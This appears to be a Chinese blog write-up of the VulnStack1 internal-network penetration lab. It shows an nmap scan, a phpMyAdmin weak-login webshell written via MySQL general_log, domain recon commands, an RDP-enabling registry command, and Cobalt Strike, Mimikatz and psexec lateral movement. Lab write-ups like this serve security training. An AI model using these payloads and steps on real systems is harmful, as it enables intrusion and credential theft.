Internal Pentest VulnStack1 内网渗透练习

Internal Pentest VulnStack1 内网渗透练习

靶场搭建

搭建环境:

找了一圈教程都是在Windows上搭建的,不过只要了解原理,其实放到mac甚至是其他环境下也是一样的。

红日的靶场非常友好了,我们只需要将靶机从百度云下载下来解压缩,看到很多的文件不要慌,直接用vmware fusion打开vmx文件就可以开启靶机。

接下来我们就分别导入三个虚拟机,并且进行少量的配置

  1. Windows 7 x64

    • 将默认的网卡选择为Host Only,在vmware fusion里叫做"Private to my Mac",即独立于mac主机本身的一个虚拟网络中;
    • 增加一张网卡,选择为桥接,这里叫Autodetect,就是和mac在同一个内网网段中,相当于一台虚拟主机连入(存在风险,慎用,可以考虑选择另一个Host-Only的虚拟网段);
    • 开启虚拟机,输入密码(所有虚拟机统一为hongrisec@2019,之后不再重复);
    • 搜索phpstudy,开启服务(如果需要用局域网访问需要在防火墙进行修改,慎用)
    • 配置至此完成。
  2. Windows Server 2003

    • 开启即可,无需做任何调整,默认静态IP为192.168.52.141。
  3. Windows Server 2008

    • 开启之后修改密码即可,需要复杂密码,记得要记录下来不要遗忘,默认静态IP为192.168.52.138,无需其他修改。

Figure 1: 内网渗透网络拓扑

Figure 1: 内网渗透网络拓扑

至此配置就结束了,别害怕,前辈们为了让工具好用做了很多努力,我们只需要站在巨人的肩膀上继续学习就可以了。

前瞻知识

如果是第一次接触这种和Windows域有关的渗透练习的话,建议还是先了解一下域的相关知识,这不仅会帮助理解复现的过程,同样重要的是这也会帮助大家解决在复现过程中出现的各种问题(靶场的设计也并不是面面俱到的,不同的环境下运行也会碰到很多未知的问题)

Windows中的工作组(Work Group)、域(Domain)、域控(DC)、活动目录(AD)介绍

AD域的详细介绍

外网渗透

信息收集

老规矩先用nmap进行扫描

nmap -sS 192.168.0.104/24

Figure 2: nmap 端口扫描

Figure 2: nmap 端口扫描

发现80端口监听http服务,直接打开网页看一下:http://192.168.0.100 :

Figure 3: phpStudy探针1

Figure 3: phpStudy探针1

Figure 4: phpStudy 探针2

Figure 4: phpStudy 探针2

从php探针中我们可以获取大量主机的信息,这里还用弱口令测试了数据库的连接,我们先放着,可能后续有用。

接下来用dirmap来扫一下目录:

python3 dirmap.py -i "http://192.168.0.100" -lcf

Figure 5: dirmap 目录爆破

Figure 5: dirmap 目录爆破

根据扫描的结果,我们访问/phpmyadmin界面,来对mysql数据库进行一些操作:

这里我们先尝试一些弱口令,实在不行再用BrupSuite爆破,例如:root, admin, 123456,发现这里直接用root:root就进去了。

getshell

那么下一步就是要想办法getshell,看到mysql自然想到可以利用 SELECT INTO DUMPFILE/OUTFILE 来写入一句话木马来获取shell。

但我们知道要使用这个语法需要满足三个条件:

  1. secure_file_priv 变量为空,或者为我们所知道的路径中,表示支持数据的导入导出;
  2. 目标目录的权限可写,mysql用户也有写入的权限;
  3. 需要目标目录的绝对路径。

那么我们先查看 secure-file-priv 的值,发现为NULL,此路不通:

Figure 6: 查询secure-file-priv的值

Figure 6: 查询secure-file-priv的值

我们知道还有一种写入的方法就是日志法

SHOW VARIABLES LIKE '%general%';  #查看日志文件相关配置

Figure 7: 查看general_log的值

Figure 7: 查看general_log的值

接下来我们开启general log,并且通过之前php探针所得到的绝对路径设置log文件的地址,最后写入一句话木马:

SET GLOBAL general_log = ON;  # 开启general log模式

SET GLOBAL general_log_file = 'C:/phpStudy/WWW/1.php';   #设置日志目录为我们想要执行的shell地址

SELECT '<?php eval($_POST[cmd]);?>';  #直接写入shell就会被记录到日志文件中去

蚁剑连接成功

Figure 8: 蚁剑连接

Figure 8: 蚁剑连接

其实到这里就已经可以通过蚁剑来getshell了,但我们也可以进去再看看。

进入之后发现有cms,

Figure 9: 发现cms

Figure 9: 发现cms

尝试访问后根据公告信息进入后台,

Figure 10: 进入cms

Figure 10: 进入cms

通过修改或者增加模版文件也可以用来getshell

Figure 11: 模版文件

Figure 11: 模版文件

内网渗透

信息收集

建议一些基础的信息可以直接在get的shell中执行来获取,因为CS的beacon一个是不稳定而且返回速度也慢:

ipconfig /all   查看本机ip,所在域
route print     打印路由信息
net view        查看局域网内其他主机名
arp -a          查看arp缓存
net start       查看开启了哪些服务
net share       查看开启了哪些共享
net share ipc$  开启ipc共享
net share c$    开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""   与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"  建立c盘共享
dir \\192.168.xx.xx\c$\user    查看192.168.xx.xx c盘user目录下的文件
net config Workstation   查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 查看本机用户列表
net user /domain         查看域用户
net localgroup administrators   查看本地管理员组(通常会有域用户)
net view /domain         查看有几个域
net user 用户名 /domain   获取指定域用户的信息
net group /domain        查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    查看域中某工作组
net group "domain admins" /domain  查看域管理员的名字
net group "domain computers" /domain  查看域中的其他主机名
net group "doamin controllers" /domain  查看域控制器(可能有多台)

netstat -ano | find "3389"   查看3389端口是否开启,若开启可以尝试远程桌面登录(Windows)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  用于开启远程桌面登录

横向移动

启动CS服务端:

sudo ./teamserver 192.168.0.106 password

打开客户端CS连接:

java -XX:+UseParallelGC -XX:+AggressiveHeap -XX:ParallelGCThreads=4 -jar cobaltstrike.jar

sleep 0 # 将心跳修改为0,方便快速获取信息(真实情况下不建议使用),默认为60s交互一次
shell systeminfo # 查看域信息,两张网卡的信息包括IP地址,
net view # 扫描域中的其他计算机

我们尝试利用Mimikatz来获取当前主机上存储的密码:

Figure 16: Mimikatz获取明文密码

Figure 16: Mimikatz获取明文密码

Figure 17: 明文密码

Figure 17: 明文密码

Figure 18: net view查看局域网中的其他计算机

Figure 18: net view查看局域网中的其他计算机

Figure 19: 其他局域网的计算机

Figure 19: 其他局域网的计算机

最后我们使用psexec打下其他两台主机:

Figure 20: 使用psexec横向穿越

Figure 20: 使用psexec横向穿越

最终我们可以通过拓扑图看到整一个横向移动的过程,我们先从kali对Win7进行getshell,然后再利用CS来获取Win7中的账号密码,以及域信息,最终使用psexec来横向移动到了其他两台计算机上

Figure 22: 最终拓扑

Figure 22: 最终拓扑

总结

复现是复现完了,但是其中有很多的内容都需要再具体展开来学习和研究,不过通过整一个流程还是学到了很多的知识和内容,还有就是CS太强了:

  • 深入学习Cobalt Strike,了解使用的各种工具的用途
  • 深入了解域以及域控制器,可以自行搭建一个域环境进行学习管理
  • 本文有机会也需要继续改进,感觉还是有很多一笔带过甚至自己都不懂的地方

Reference

Windows中的工作组(Work Group)、域(Domain)、域控(DC)、活动目录(AD)介绍

PHPmyadmin Getshell

AD域的详细介绍

[网络安全/域渗透]内网安全入门靶场 vulnstack1攻略

ATT&CK实战-红日安全vulnstack(一)

内网渗透靶场 Vulnstack(一)

红日靶场vulnstack1 内网渗透学习

Cobalt Strike使用教程——基础篇

Cobalt Strike使用教程一

Licensed under CC BY-NC-SA 4.0
Last updated on Nov 10, 2022 08:29 CST
comments powered by Disqus
Cogito, ergo sum
Built with Hugo
Theme Stack designed by Jimmy